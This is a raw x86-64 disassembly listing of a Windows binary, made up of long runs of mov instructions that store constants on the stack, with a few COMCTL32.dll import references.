mov qword [rsp + 0xea38], rax
movabs rax, 0x749b44a483059b
mov qword [rsp + 0xea40], rax
mov dword [rsp + 0x7448], 0xa191
movabs rax, 0x79e3d838fdb5a1
mov qword [rsp + 0xea48], rax
movabs rax, 0x77c094c760583f
mov qword [rsp + 0xea50], rax
mov eax, 0x611
mov word [rsp + 0x1c1c], ax
movabs rax, 0x76762c4ae3ed27
mov qword [rsp + 0xea58], rax
mov dword [rsp + 0x744c], 0x9573
mov dword [rsp + 0x7450], 0x6821
mov byte [rsp + 0x2b5], 0x53
mov dword [rsp + 0x7454], 0x91b
mov eax, 0xd4c
mov word [rsp + 0x1c20], ax
mov eax, 0x52a
mov word [rsp + 0x1c24], ax
mov dword [rsp + 0x7458], 0x1433
mov eax, 0x42e
mov word [rsp + 0x1c28], ax
mov dword [rsp + 0x745c], 0x6d5a
mov eax, 0x577
mov word [rsp + 0x1c2c], ax
movabs rax, 0x7a02aaf2d03da7
mov qword [rsp + 0xea60], rax
mov dword [rsp + 0x7460], 0x1634
movabs rax, 0x734dd77e2c4a28
mov qword [rsp + 0xea68], rax
mov byte [rsp + 0x2b6], 0x3c
mov byte [rsp + 0x2b7], 0x6f
mov eax, 0x165
mov word [rsp + 0x1c30], ax
movabs rax, 0x7abc90847213bb
mov qword [rsp + 0xea70], rax
mov dword [rsp + 0x7464], 0x2c8b
mov dword [rsp + 0x7468], 0xb930
mov dword [rsp + 0x746c], 0x2a2
movabs rax, 0x7ea8e90a2988a6
mov qword [rsp + 0xea78], rax
mov byte [rsp + 0x2b8], 0x9d
mov dword [rsp + 0x7470], 0x7016
mov eax, 0xacf
mov word [rsp + 0x1c34], ax
movabs rax, 0x7e3524f14f9899
mov qword [rsp + 0xea80], rax
mov byte [rsp + 0x2b9], 0xca
mov byte [rsp + 0x2ba], 0x88
movabs rax, 0x77f50f963e4801
mov qword [rsp + 0xea88], rax
mov dword [rsp + 0x7474], 0x42ae
mov dword [rsp + 0x7478], 0x79bb
mov byte [rsp + 0x2bb], 0x3f
movabs rax, 0x75913cb80ff54f
mov qword [rsp + 0xea90], rax
mov dword [rsp + 0x747c], 0x7a5d
movabs rax, 0x78f7a1037cba73
mov qword [rsp + 0xea98], rax
movabs rax, 0x77038a590eca47
mov qword [rsp + 0xeaa0], rax
mov dword [rsp + 0x7480], 0xfc67
movabs rax, 0x756e0841f30014
mov qword [rsp + 0xeaa8], rax
mov eax, 0xc0d
mov word [rsp + 0x1c38], ax
mov eax, 0x8ea
mov word [rsp + 0x1c3c], ax
mov eax, 0x807
mov word [rsp + 0x1c40], ax
movabs rax, 0x7b9627baad1571
mov qword [rsp + 0xeab0], rax
movabs rax, 0x7a8142ab5b71cc
mov qword [rsp + 0xeab8], rax
mov byte [rsp + 0x2bc], 0x29
mov dword [rsp + 0x7484], 0xb18f
mov byte [rsp + 0x2bd], 5
mov dword [rsp + 0x7488], 0x6a7d
mov dword [rsp + 0x748c], 0xd1ff
mov dword [rsp + 0x7490], 0xac60
mov eax, 0xfe5
mov word [rsp + 0x1c44], ax
movabs rax, 0x73e5946528cdc2
mov qword [rsp + 0xeac0], rax
movabs rax, 0x72458016d82dd7
mov qword [rsp + 0xeac8], rax
mov eax, 0x388
mov word [rsp + 0x1c48], ax
mov eax, 0x718
mov word [rsp + 0x1c4c], ax
movabs rax, 0x7d08c15610ce72
mov qword [rsp + 0xead0], rax
movabs rax, 0x7a4fad71ced31c
mov qword [rsp + 0xead8], rax
mov eax, 0x4e3
mov word [rsp + 0x1c50], ax
mov byte [rsp + 0x2be], 0x88
movabs rax, 0x754fda661f78ad
mov qword [rsp + 0xeae0], rax
movabs rax, 0x7b43d1ed547b68
mov qword [rsp + 0xeae8], rax
movabs rax, 0x7e5c92399a63e7
mov qword [rsp + 0xeaf0], rax
mov dword [rsp + 0x7494], 0xdde7
movabs rax, 0x7ee91eba29b862
mov qword [rsp + 0xeaf8], rax
movabs rax, 0x718f3f92da173c
mov qword [rsp + 0xeb00], rax
mov eax, 0x1ef
mov word [rsp + 0x1c54], ax
movabs rax, 0x79f8a86d5ffc02
mov qword [rsp + 0xeb08], rax
mov dword [rsp + 0x7498], 0x487
mov eax, 0x162
mov word [rsp + 0x1c58], ax
mov dword [rsp + 0x749c], 0xc597
mov dword [rsp + 0x74a0], 0x1c10
mov byte [rsp + 0x2bf], 0xe7
movabs rax, 0x745f32d5f36662
mov qword [rsp + 0xeb10], rax
movabs rax, 0x79fc2e081889f7
mov qword [rsp + 0xeb18], rax
movabs rax, 0x73acd5deeed26c
mov qword [rsp + 0xeb20], rax
movabs rax, 0x78ab3431965c08
mov qword [rsp + 0xeb28], rax
mov eax, 0x60
mov word [rsp + 0x1c5c], ax
mov byte [rsp + 0x2c0], 0x78
mov dword [rsp + 0x74a4], 0xccea
movabs rax, 0x7a9b54d89c0871
mov qword [rsp + 0xeb30], rax
mov byte [rsp + 0x2c1], 7
mov eax, 0x2ee
mov word [rsp + 0x1c60], ax
mov eax, 0x492
mov word [rsp + 0x1c64], ax
movabs rax, 0x79b047a1878e56
mov qword [rsp + 0xeb38], rax
mov byte [rsp + 0x2c2], 3
mov eax, 0x553
mov word [rsp + 0x1c68], ax
mov eax, 0x927
mov word [rsp + 0x1c6c], ax
movabs rax, 0x78dd1e95f9d33f
mov qword [rsp + 0xeb40], rax
mov eax, 0xea1
mov word [rsp + 0x1c70], ax
mov eax, 0xe23
mov word [rsp + 0x1c74], ax
mov dword [rsp + 0x74a8], 0x3a49
mov dword [rsp + 0x74ac], 0x23b1
movabs rax, 0x73583288460da7
mov qword [rsp + 0xeb48], rax
movabs rax, 0x7e89d4434fe596
mov qword [rsp + 0xeb50], rax
mov dword [rsp + 0x74b0], 0x73c1
movabs rax, 0x7e31f80f9620aa
mov qword [rsp + 0xeb58], rax
movabs rax, 0x711c7f4ebe84bc
mov qword [rsp + 0xeb60], rax
mov byte [rsp + 0x2c3], 0x7a
mov eax, 0x4e3
mov word [rsp + 0x1c78], ax
mov eax, 0x9e1
mov word [rsp + 0x1c7c], ax
movabs rax, 0x78f3c3cdf4bf24
mov qword [rsp + 0xeb68], rax
mov eax, 0x6a0
mov word [rsp + 0x1c80], ax
mov dword [rsp + 0x74b4], 0x61b9
mov eax, 0xb9c
mov word [rsp + 0x1c84], ax
mov byte [rsp + 0x2c4], 0xea
mov dword [rsp + 0x74b8], 0x24f2
movabs rax, 0x73d35d24ec0fb5
mov qword [rsp + 0xeb70], rax
mov dword [rsp + 0x74bc], 0x6b65
mov byte [rsp + 0x2c5], 0x26
mov dword [rsp + 0x74c0], 0x8b78
mov byte [rsp + 0x2c6], 0x8c
mov byte [rsp + 0x2c7], 0xaf
mov dword [rsp + 0x74c4], 0x2fa1
movabs rax, 0x74346b639327ec
mov qword [rsp + 0xeb78], rax
mov eax, 0xef8
mov word [rsp + 0x1c88], ax
mov dword [rsp + 0x74c8], 0xd571
movabs rax, 0x7d54abd43c1f43
mov qword [rsp + 0xeb80], rax
movabs rax, 0x74c0c356424228
mov qword [rsp + 0xeb88], rax
mov eax, 0x4f5
mov word [rsp + 0x1c8c], ax
movabs rax, 0x70e4ea51e03ad9
mov qword [rsp + 0xeb90], rax
mov dword [rsp + 0x74cc], 0x1b08
mov dword [rsp + 0x74d0], 0x1d3b
mov eax, 0x21f
mov word [rsp + 0x1c90], ax
movabs rax, 0x714564d9df687c
mov qword [rsp + 0xeb98], rax
mov eax, 0xe48
mov word [rsp + 0x1c94], ax
mov dword [rsp + 0x74d4], 0x17c0
mov dword [rsp + 0x74d8], 0x1ffd
movabs rax, 0x7992a8e4f7efea
mov qword [rsp + 0xeba0], rax
mov dword [rsp + 0x74dc], 0x9b0c
mov eax, 0xac
mov word [rsp + 0x1c98], ax
movabs rax, 0x7abdde1cba2b7b
mov qword [rsp + 0xeba8], rax
mov eax, 0xc6a
mov word [rsp + 0x1c9c], ax
mov dword [rsp + 0x74e0], 0x352b
movabs rax, 0x7367c4b6a03088
mov qword [rsp + 0xebb0], rax
mov eax, 0x613
mov word [rsp + 0x1ca0], ax
movabs rax, 0x78adaa679a35d9
mov qword [rsp + 0xebb8], rax
mov eax, 0xd7d
mov word [rsp + 0x1ca4], ax
mov eax, 0xfb2
mov word [rsp + 0x1ca8], ax
mov eax, 0x9a
mov word [rsp + 0x1cac], ax
mov dword [rsp + 0x74e4], 0x1d5f
mov eax, 0x339
mov word [rsp + 0x1cb0], ax
mov eax, 0x21f
mov word [rsp + 0x1cb4], ax
mov eax, 0x32b
mov word [rsp + 0x1cb8], ax
movabs rax, 0x71063e10591116
mov qword [rsp + 0xebc0], rax
mov byte [rsp + 0x2c8], 0x9c
movabs rax, 0x78a86226cb6133
mov qword [rsp + 0xebc8], rax
movabs rax, 0x7d660ac9fb7058
mov qword [rsp + 0xebd0], rax
mov dword [rsp + 0x74e8], 0xe71f
mov byte [rsp + 0x2c9], 0x7e
mov byte [rsp + 0x2ca], 0xfe
mov byte [rsp + 0x2cb], 0x97
movabs rax, 0x7d4d83c79d2e3c
mov qword [rsp + 0xebd8], rax
mov eax, 0xc1b
mov word [rsp + 0x1cbc], ax
mov dword [rsp + 0x74ec], 0x3b50
movabs rax, 0x756cc495aff02f
mov qword [rsp + 0xebe0], rax
mov eax, 0x5c4
mov word [rsp + 0x1cc0], ax
movabs rax, 0x7abd6062acfff5
mov qword [rsp + 0xebe8], rax
mov eax, 0x33a
mov word [rsp + 0x1cc4], ax
mov byte [rsp + 0x2cc], 0x1e
mov dword [rsp + 0x74f0], 0x3a0
movabs rax, 0x77624427eefa8e
mov qword [rsp + 0xebf0], rax
movabs rax, 0x752f6a64356416
mov qword [rsp + 0xebf8], rax
mov dword [rsp + 0x74f4], 0x4dc5
mov dword [rsp + 0x74f8], 0x6396
mov dword [rsp + 0x74fc], 0x2e3
mov byte [rsp + 0x2cd], 0x11
mov eax, 0x164
mov word [rsp + 0x1cc8], ax
mov byte [rsp + 0x2ce], 0x86
mov byte [rsp + 0x2cf], reloc.COMCTL32.dll_LBItemFromPt
mov eax, 0xff2
mov word [rsp + 0x1ccc], ax
movabs rax, 0x7619bcc5d2389e
mov qword [rsp + 0xec00], rax
mov eax, 0x595
mov word [rsp + 0x1cd0], ax
mov dword [rsp + 0x7500], 0x463b
mov byte [rsp + 0x2d0], 0xc6
mov byte [rsp + 0x2d1], 0xef
mov dword [rsp + 0x7504], 0x367c
movabs rax, 0x719acc32841c9c
mov qword [rsp + 0xec08], rax
mov eax, 0x2f4
mov word [rsp + 0x1cd4], ax
movabs rax, 0x7293109779ede9
mov qword [rsp + 0xec10], rax
mov eax, 0x535
mov word [rsp + 0x1cd8], ax
mov eax, 0x256
mov word [rsp + 0x1cdc], ax
mov dword [rsp + 0x7508], 0x5063
movabs rax, 0x795237f1858800
mov qword [rsp + 0xec18], rax
mov byte [rsp + 0x2d2], 0x8f
mov eax, 0x83e
mov word [rsp + 0x1ce0], ax
mov eax, 0x4ac
mov word [rsp + 0x1ce4], ax
movabs rax, 0x772a0394b816a2
mov qword [rsp + 0xec20], rax
mov eax, 0x8ea
mov word [rsp + 0x1ce8], ax
mov byte [rsp + 0x2d3], 0x65
mov dword [rsp + 0x750c], 0x18f4
mov dword [rsp + 0x7510], 0xa51
mov eax, 0x417
mov word [rsp + 0x1cec], ax
mov eax, 0x3a3
mov word [rsp + 0x1cf0], ax
mov dword [rsp + 0x7514], 0x704b
mov dword [rsp + 0x7518], 0x5279
mov dword [rsp + 0x751c], 0x10f7
mov eax, 0x6f5
mov word [rsp + 0x1cf4], ax
mov eax, 0x162
mov word [rsp + 0x1cf8], ax
mov dword [rsp + 0x7520], 0xd8e2
mov dword [rsp + 0x7524], 0x59dc
mov dword [rsp + 0x7528], 0x1014
movabs rax, 0x7e50edd7244c21
mov qword [rsp + 0xec28], rax
movabs rax, 0x77d93f1762e615
mov qword [rsp + 0xec30], rax
mov byte [rsp + 0x2d4], 0x14
mov byte [rsp + 0x2d5], 0x55
mov byte [rsp + 0x2d6], 0x5d
mov eax, 0x4d4
mov word [rsp + 0x1cfc], ax
movabs rax, 0x776dff26934437
mov qword [rsp + 0xec38], rax
mov dword [rsp + 0x752c], 0x5e94
mov dword [rsp + 0x7530], 0xe395
mov eax, 0x2ea
mov word [rsp + 0x1d00], ax
mov byte [rsp + 0x2d7], 0x55
movabs rax, 0x76f7f776c9c507
mov qword [rsp + 0xec40], rax
mov byte [rsp + 0x2d8], 0xe3
mov eax, 0x163
mov word [rsp + 0x1d04], ax
movabs rax, 0x7a675c0e6eff31
mov qword [rsp + 0xec48], rax
mov eax, 0x329
mov word [rsp + 0x1d08], ax
mov eax, 0x457
mov word [rsp + 0x1d0c], ax
mov eax, 0xd9
mov word [rsp + 0x1d10], ax
mov byte [rsp + 0x2d9], 0xeb
movabs rax, 0x79bef2473a0636
mov qword [rsp + 0xec50], rax
mov eax, 0x856
mov word [rsp + 0x1d14], ax
mov byte [rsp + 0x2da], 0x11
mov dword [rsp + 0x7534], 0x444b
mov byte [rsp + 0x2db], 0xc9
mov dword [rsp + 0x7538], 0x6a56
movabs rax, 0x747340472d274b
mov qword [rsp + 0xec58], rax
mov eax, 0x150
mov word [rsp + 0x1d18], ax
mov dword [rsp + 0x753c], 0x23e8
movabs rax, 0x755dc16eec6fca
mov qword [rsp + 0xec60], rax
mov byte [rsp + 0x2dc], 0x14
mov eax, 0xc33
mov word [rsp + 0x1d1c], ax
mov eax, 0x4c9
mov word [rsp + 0x1d20], ax
mov eax, 0x3d1
mov word [rsp + 0x1d24], ax
mov dword [rsp + 0x7540], 0x1e14
mov dword [rsp + 0x7544], 0x52c1
movabs rax, 0x77d64173451cf9
mov qword [rsp + 0xec68], rax
mov byte [rsp + 0x2dd], 0x3b
mov byte [rsp + 0x2de], 0x28
movabs rax, 0x79756060780381
mov qword [rsp + 0xec70], rax
movabs rax, 0x75b99578c14cbe
mov qword [rsp + 0xec78], rax
mov dword [rsp + 0x7548], 0x4c86
movabs rax, 0x707e0406b07695
mov qword [rsp + 0xec80], rax
movabs rax, 0x7ad84d50c5ef56
mov qword [rsp + 0xec88], rax
mov byte [rsp + 0x2df], 0x67
mov dword [rsp + 0x754c], 0x8bf5
mov byte [rsp + 0x2e0], 0x60
movabs rax, 0x702700c15c2d47
mov qword [rsp + 0xec90], rax
mov byte [rsp + 0x2e1], 0x5b
mov byte [rsp + 0x2e2], 0x4d
movabs rax, 0x76aaceb01d0b26
mov qword [rsp + 0xec98], rax
mov dword [rsp + 0x7550], 0x7115
mov dword [rsp + 0x7554], 0x40f8
movabs rax, 0x7446cb76834e96
mov qword [rsp + 0xeca0], rax
mov byte [rsp + 0x2e3], 0x44
movabs rax, 0x7883cb2127074d
mov qword [rsp + 0xeca8], rax
movabs rax, 0x7cc2f34a54e8b7
mov qword [rsp + 0xecb0], rax
mov byte [rsp + 0x2e4], 0x59
mov eax, 0x5d3
mov word [rsp + 0x1d28], ax
mov dword [rsp + 0x7558], 0x2750
movabs rax, 0x75365e9b3c897b
mov qword [rsp + 0xecb8], rax
mov byte [rsp + 0x2e5], 0x36
mov eax, 0x67e
mov word [rsp + 0x1d2c], ax
movabs rax, 0x73d0ddb509733b
mov qword [rsp + 0xecc0], rax
mov eax, 0x383
mov word [rsp + 0x1d30], ax
mov dword [rsp + 0x755c], 0x5842
mov byte [rsp + 0x2e6], 0x10
mov byte [rsp + 0x2e7], 0x1c
mov dword [rsp + 0x7560], 0x6c05
mov byte [rsp + 0x2e8], 0x66
mov eax, 0x3e8
mov word [rsp + 0x1d34], ax
mov eax, 0x744
mov word [rsp + 0x1d38], ax
mov dword [rsp + 0x7564], 0x162e
mov dword [rsp + 0x7568], 0x4e5e
movabs rax, 0x7d55d6ea764ccd
mov qword [rsp + 0xecc8], rax
mov byte [rsp + 0x2e9], 0x2a
mov eax, 0x35
mov word [rsp + 0x1d3c], ax
mov dword [rsp + 0x756c], 0x11dd
movabs rax, 0x7a446eb7a533d0
mov qword [rsp + 0xecd0], rax
movabs rax, 0x7eba3478ffeeca
mov qword [rsp + 0xecd8], rax
mov byte [rsp + 0x2ea], 0x84
mov eax, 0x7fd
mov word [rsp + 0x1d40], ax
mov eax, 0xbdf
mov word [rsp + 0x1d44], ax
mov dword [rsp + 0x7570], 0x5b5a
mov dword [rsp + 0x7574], 0x5e23
movabs rax, 0x7c9d5dff9a01d4
mov qword [rsp + 0xece0], rax
movabs rax, 0x75d5b13e33e07c
mov qword [rsp + 0xece8], rax
mov eax, 0xb4a
mov word [rsp + 0x1d48], ax
mov byte [rsp + 0x2eb], 0x49
movabs rax, 0x75723bf44a6618
mov qword [rsp + 0xecf0], rax
mov dword [rsp + 0x7578], 0x25d
mov dword [rsp + 0x757c], 0x71f4
mov byte [rsp + 0x2ec], 0x37
mov eax, 0x2cb
mov word [rsp + 0x1d4c], ax
movabs rax, 0x7ca6d7cca1ac48
mov qword [rsp + 0xecf8], rax
mov eax, 0x253
mov word [rsp + 0x1d50], ax
mov dword [rsp + 0x7580], 0x8eed
mov byte [rsp + 0x2ed], 0x74
movabs rax, 0x7c48c04578ae6a
mov qword [rsp + 0xed00], rax
mov dword [rsp + 0x7584], 0xc2e8
mov dword [rsp + 0x7588], 0x49a7
mov byte [rsp + 0x2ee], 1
movabs rax, 0x7d5d3015353f8b
mov qword [rsp + 0xed08], rax
mov eax, 0x505
mov word [rsp + 0x1d54], ax
mov byte [rsp + 0x2ef], 0x4e
movabs rax, 0x79192269d1050d
mov qword [rsp + 0xed10], rax
mov dword [rsp + 0x758c], 0x31ec
mov byte [rsp + 0x2f0], 0x6f
mov dword [rsp + 0x7590], 0x725b
mov eax, 0x3ad
mov word [rsp + 0x1d58], ax
mov eax, 0x44a
mov word [rsp + 0x1d5c], ax
movabs rax, 0x708850fc9f85e2
mov qword [rsp + 0xed18], rax
mov eax, 0x509
mov word [rsp + 0x1d60], ax
movabs rax, 0x72f6add206827d
mov qword [rsp + 0xed20], rax
mov dword [rsp + 0x7594], 0x17bd
mov byte [rsp + 0x2f1], 0xf5
mov eax, 0x76e
mov word [rsp + 0x1d64], ax
mov dword [rsp + 0x7598], 0x1762
mov dword [rsp + 0x759c], 0x3bba
mov byte [rsp + 0x2f2], 0xf2
movabs rax, 0x7000acbacbf426
mov qword [rsp + 0xed28], rax
mov dword [rsp + 0x75a0], 0x1e9f
mov eax, 0x434
mov word [rsp + 0x1d68], ax
movabs rax, 0x7599a59e5a7f61
mov qword [rsp + 0xed30], rax
mov eax, 0xc7e
mov word [rsp + 0x1d6c], ax
mov eax, 0x57
mov word [rsp + 0x1d70], ax
movabs rax, 0x7c8fb66cb753e2
mov qword [rsp + 0xed38], rax
movabs rax, 0x73fb74b3f93f39
mov qword [rsp + 0xed40], rax
mov byte [rsp + 0x2f3], 0xa7
mov dword [rsp + 0x75a4], 0xe91e
mov eax, 0x69f
mov word [rsp + 0x1d74], ax
movabs rax, 0x7e371285191d0f
mov qword [rsp + 0xed48], rax
mov dword [rsp + 0x75a8], 0x2afc
movabs rax, 0x7914bf393247c3
mov qword [rsp + 0xed50], rax
movabs rax, 0x7e8f1412f3f182
mov qword [rsp + 0xed58], rax
mov eax, SetWindowSubclass
mov word [rsp + 0x1d78], ax
mov byte [rsp + 0x2f4], 0xd2
mov dword [rsp + 0x75ac], 0x4b2d
movabs rax, 0x7ae8b3c51fdd12
mov qword [rsp + 0xed60], rax
mov byte [rsp + 0x2f5], 0xa8
mov dword [rsp + 0x75b0], 0x8b67
movabs rax, 0x742392e2e9ab64
mov qword [rsp + 0xed68], rax
mov eax, 0x6a9
mov word [rsp + 0x1d7c], ax
mov byte [rsp + 0x2f6], 2
mov eax, 0x582
mov word [rsp + 0x1d80], ax
mov eax, 0x9c1
mov word [rsp + 0x1d84], ax
mov dword [rsp + 0x75b4], 0x3b99
mov eax, 0x2f7
mov word [rsp + 0x1d88], ax
movabs rax, 0x7eaa08e0d82d55
mov qword [rsp + 0xed70], rax
mov eax, 0x423
mov word [rsp + 0x1d8c], ax
mov byte [rsp + 0x2f7], 0xf6
mov dword [rsp + 0x75b8], 0x1361
mov dword [rsp + 0x75bc], 0xfce8
mov dword [rsp + 0x75c0], 0xb1ea
mov eax, 0x5ec
mov word [rsp + 0x1d90], ax
movabs rax, 0x79ce5caec7503e
mov qword [rsp + 0xed78], rax
mov dword [rsp + 0x75c4], 0x78ea
movabs rax, 0x77d44825a62fad
mov qword [rsp + 0xed80], rax
movabs rax, 0x7524c446c140da
mov qword [rsp + 0xed88], rax
movabs rax, 0x7b8a8526ca86fe
mov qword [rsp + 0xed90], rax
mov dword [rsp + 0x75c8], 0x682
mov eax, 0xb92
mov word [rsp + 0x1d94], ax
mov byte [rsp + 0x2f8], 0x1b
mov byte [rsp + 0x2f9], 2
movabs rax, 0x7bcecca147e839
mov qword [rsp + 0xed98], rax
movabs rax, 0x7ab77f9f8b22c6
mov qword [rsp + 0xeda0], rax
mov eax, 0x37f
mov word [rsp + 0x1d98], ax
movabs rax, 0x76da7d8b205802
mov qword [rsp + 0xeda8], rax
movabs rax, 0x7b2a735e787e6e
mov qword [rsp + 0xedb0], rax
movabs rax, 0x77d0b3c202ce96
mov qword [rsp + 0xedb8], rax
mov eax, 0xc73
mov word [rsp + 0x1d9c], ax
mov dword [rsp + 0x75cc], 0x6ae2
mov byte [rsp + 0x2fa], 0x49
movabs rax, 0x7795d6480c0358
mov qword [rsp + 0xedc0], rax
mov eax, 0x2b9
mov word [rsp + 0x1da0], ax
movabs rax, 0x75d37711033d03
mov qword [rsp + 0xedc8], rax
mov dword [rsp + 0x75d0], 0x5eb2
movabs rax, 0x7acf4dad39c9ea
mov qword [rsp + 0xedd0], rax
mov byte [rsp + 0x2fb], 0xe4
mov byte [rsp + 0x2fc], 0x74
mov eax, 0xd62
mov word [rsp + 0x1da4], ax
movabs rax, 0x7d50aa3c02038d
mov qword [rsp + 0xedd8], rax
mov eax, 0x5af
mov word [rsp + 0x1da8], ax
mov eax, 0x42a
mov word [rsp + 0x1dac], ax
mov eax, 0x24c
mov word [rsp + 0x1db0], ax
mov eax, 0x7d2
mov word [rsp + 0x1db4], ax
mov byte [rsp + 0x2fd], 0x43
movabs rax, 0x73fcc3252516de
mov qword [rsp + 0xede0], rax
mov dword [rsp + 0x75d4], 0x4f8
movabs rax, 0x7af9a5ede93199
mov qword [rsp + 0xede8], rax
mov byte [rsp + 0x2fe], 0x95
mov dword [rsp + 0x75d8], 0x4cbe
mov byte [rsp + 0x2ff], 0x3b
mov dword [rsp + 0x75dc], 0x1e4d
mov dword [rsp + 0x75e0], 0x6bab
mov byte [rsp + 0x300], 0x32
mov dword [rsp + 0x75e4], 0x9c76
movabs rax, 0x78c8f1c1f46c1a
mov qword [rsp + 0xedf0], rax
mov dword [rsp + 0x75e8], 0xc476
mov eax, 0x6c8
mov word [rsp + 0x1db8], ax
mov eax, 0x369
mov word [rsp + 0x1dbc], ax
mov dword [rsp + 0x75ec], 0xc194
mov dword [rsp + 0x75f0], 0xb476
mov eax, 0x1a2
mov word [rsp + 0x1dc0], ax
mov dword [rsp + 0x75f4], 0x546a
mov eax, 0x39e
mov word [rsp + 0x1dc4], ax
mov dword [rsp + 0x75f8], 0x336e
mov dword [rsp + 0x75fc], 0x3df7
mov byte [rsp + 0x301], 0x39
mov eax, 0x15
mov word [rsp + 0x1dc8], ax
mov dword [rsp + 0x7600], 0x963
mov dword [rsp + 0x7604], 0x9196
movabs rax, 0x7401862831ac73
mov qword [rsp + 0xedf8], rax
mov eax, 0x38f
mov word [rsp + 0x1dcc], ax
mov eax, 0xaa4
mov word [rsp + 0x1dd0], ax
movabs rax, 0x7dfd7d231a56c1
mov qword [rsp + 0xee00], rax
mov byte [rsp + 0x302], 0x4c
mov dword [rsp + 0x7608], 0x6442
mov dword [rsp + 0x760c], 0x611f
movabs rax, 0x795618eba2456e
mov qword [rsp + 0xee08], rax
mov byte [rsp + 0x303], 7
mov eax, 0x54c
mov word [rsp + 0x1dd4], ax
movabs rax, 0x7ac071a8f26cdc
mov qword [rsp + 0xee10], rax
mov eax, 0x831
mov word [rsp + 0x1dd8], ax
movabs rax, 0x7379d39f00cfe8
mov qword [rsp + 0xee18], rax
mov dword [rsp + 0x7610], 0x71e4
movabs rax, 0x704f757ffaf505
mov qword [rsp + 0xee20], rax
movabs rax, 0x7d271ad38d3d5f
mov qword [rsp + 0xee28], rax
mov dword [rsp + 0x7614], 0x5121
mov dword [rsp + 0x7618], 0xad29
movabs rax, 0x7ee679a933ef5f
mov qword [rsp + 0xee30], rax
mov eax, 0x364
mov word [rsp + 0x1ddc], ax
mov byte [rsp + 0x304], 8
mov byte [rsp + 0x305], 0x26
mov byte [rsp + 0x306], 0x46
mov dword [rsp + 0x761c], 0x478b
mov eax, 0x1d4
mov word [rsp + 0x1de0], ax
movabs rax, 0x78243f318cd4b4
mov qword [rsp + 0xee38], rax
mov byte [rsp + 0x307], 0xa8
movabs rax, 0x7b74b2028f91f1
mov qword [rsp + 0xee40], rax
mov eax, 0x6a5
mov word [rsp + 0x1de4], ax
mov byte [rsp + 0x308], 0xcb
mov eax, 0x1db
mov word [rsp + 0x1de8], ax
mov eax, 0x9e
mov word [rsp + 0x1dec], ax
mov byte [rsp + 0x309], 0x93
mov eax, 0x324
mov word [rsp + 0x1df0], ax
mov eax, 0x21
mov word [rsp + 0x1df4], ax
mov dword [rsp + 0x7620], 0xde16
mov dword [rsp + 0x7624], 0x6e7e
mov eax, 0x24f
mov word [rsp + 0x1df8], ax
mov dword [rsp + 0x7628], 0x12cd
movabs rax, 0x79d3468e1e8006
mov qword [rsp + 0xee48], rax
mov eax, 0x1b3
mov word [rsp + 0x1dfc], ax
movabs rax, 0x7c7f26b03e31ba
mov qword [rsp + 0xee50], rax
movabs rax, 0x7c86827e30796e
mov qword [rsp + 0xee58], rax
mov byte [rsp + 0x30a], 4
movabs rax, 0x789b712b96f9f8
mov qword [rsp + 0xee60], rax
mov dword [rsp + 0x762c], 0xf576
mov eax, 0x3bb
mov word [rsp + 0x1e00], ax
mov eax, 0x91
mov word [rsp + 0x1e04], ax
movabs rax, 0x7c27c307e00069
mov qword [rsp + 0xee68], rax
mov byte [rsp + 0x30b], 0x26
movabs rax, 0x7e11349ddafd83
mov qword [rsp + 0xee70], rax
mov eax, 0x452
mov word [rsp + 0x1e08], ax
movabs rax, 0x7952f5b1654f06
mov qword [rsp + 0xee78], rax
movabs rax, 0x78cd45d77e2fe3
mov qword [rsp + 0xee80], rax
movabs rax, 0x73581428512302
mov qword [rsp + 0xee88], rax
mov byte [rsp + 0x30c], 0xd0
mov eax, 0x1b
mov word [rsp + 0x1e0c], ax
movabs rax, 0x7e8a4f00088e21
mov qword [rsp + 0xee90], rax
movabs rax, 0x7a951b0609b7f1
mov qword [rsp + 0xee98], rax
mov byte [rsp + 0x30d], 0x8a
movabs rax, 0x70092abbcb2bfd
mov qword [rsp + 0xeea0], rax
mov dword [rsp + 0x7630], 0x277c
mov dword [rsp + 0x7634], 0x5863
mov eax, 0x476
mov word [rsp + 0x1e10], ax
mov byte [rsp + 0x30e], 0xbe
mov eax, 0x45f
mov word [rsp + 0x1e14], ax
mov eax, 0xc7
mov word [rsp + 0x1e18], ax
mov dword [rsp + 0x7638], 0xfb3
mov dword [rsp + 0x763c], 0x1a78
mov dword [rsp + 0x7640], 0x95b
mov eax, 0xde8
mov word [rsp + 0x1e1c], ax
movabs rax, 0x785393db208275
mov qword [rsp + 0xeea8], rax
movabs rax, 0x7e6bd40b2cccd6
mov qword [rsp + 0xeeb0], rax
movabs rax, 0x73410deebff5a4
mov qword [rsp + 0xeeb8], rax
mov dword [rsp + 0x7644], 0xe352
mov dword [rsp + 0x7648], 0xa33f
mov eax, 0x8d9
mov word [rsp + 0x1e20], ax
mov eax, 0xe88
mov word [rsp + 0x1e24], ax
mov byte [rsp + 0x30f], 0xa3
mov eax, 0xcfe
mov word [rsp + 0x1e28], ax
movabs rax, 0x76d91d947e0b71
mov qword [rsp + 0xeec0], rax
xor eax, eax
mov word [rsp + 0x1e2c], ax
mov dword [rsp + 0x764c], 0x7a36
mov eax, 0x5ea
mov word [rsp + 0x1e30], ax
mov eax, 0x373
mov word [rsp + 0x1e34], ax
mov dword [rsp + 0x7650], 0x9213
mov byte [rsp + 0x310], 0xe8
movabs rax, 0x7e703cfe5f9d60
mov qword [rsp + 0xeec8], rax
movabs rax, 0x755cdf4e83871f
mov qword [rsp + 0xeed0], rax
mov byte [rsp + 0x311], 1
mov eax, 0x72a
mov word [rsp + 0x1e38], ax
mov byte [rsp + 0x312], 0x56
movabs rax, 0x7dedbba39bfcc5
mov qword [rsp + 0xeed8], rax
mov eax, 0x49d
mov word [rsp + 0x1e3c], ax
movabs rax, 0x745949797db60e
mov qword [rsp + 0xeee0], rax
mov eax, 0xc16
mov word [rsp + 0x1e40], ax
mov eax, 0x78a
mov word [rsp + 0x1e44], ax
mov dword [rsp + 0x7654], 0x20cd
mov byte [rsp + 0x313], reloc.COMCTL32.dll_DrawInsert
mov byte [rsp + 0x314], 0x6d
movabs rax, 0x71f93a0aa06fa5
mov qword [rsp + 0xeee8], rax
movabs rax, 0x78e0c543388085
mov qword [rsp + 0xeef0], rax
movabs rax, 0x7a70120e5af648
mov qword [rsp + 0xeef8], rax
mov eax, 0x7ee
mov word [rsp + 0x1e48], ax
movabs rax, 0x756fc1ca9e898e
mov qword [rsp + 0xef00], rax
movabs rax, 0x7c086124dbaaca
mov qword [rsp + 0xef08], rax
mov eax, 0xa98
mov word [rsp + 0x1e4c], ax
mov eax, 0x68c
mov word [rsp + 0x1e50], ax
movabs rax, 0x71bfdb6a50b813
mov qword [rsp + 0xef10], rax
mov byte [rsp + 0x315], 0xf2
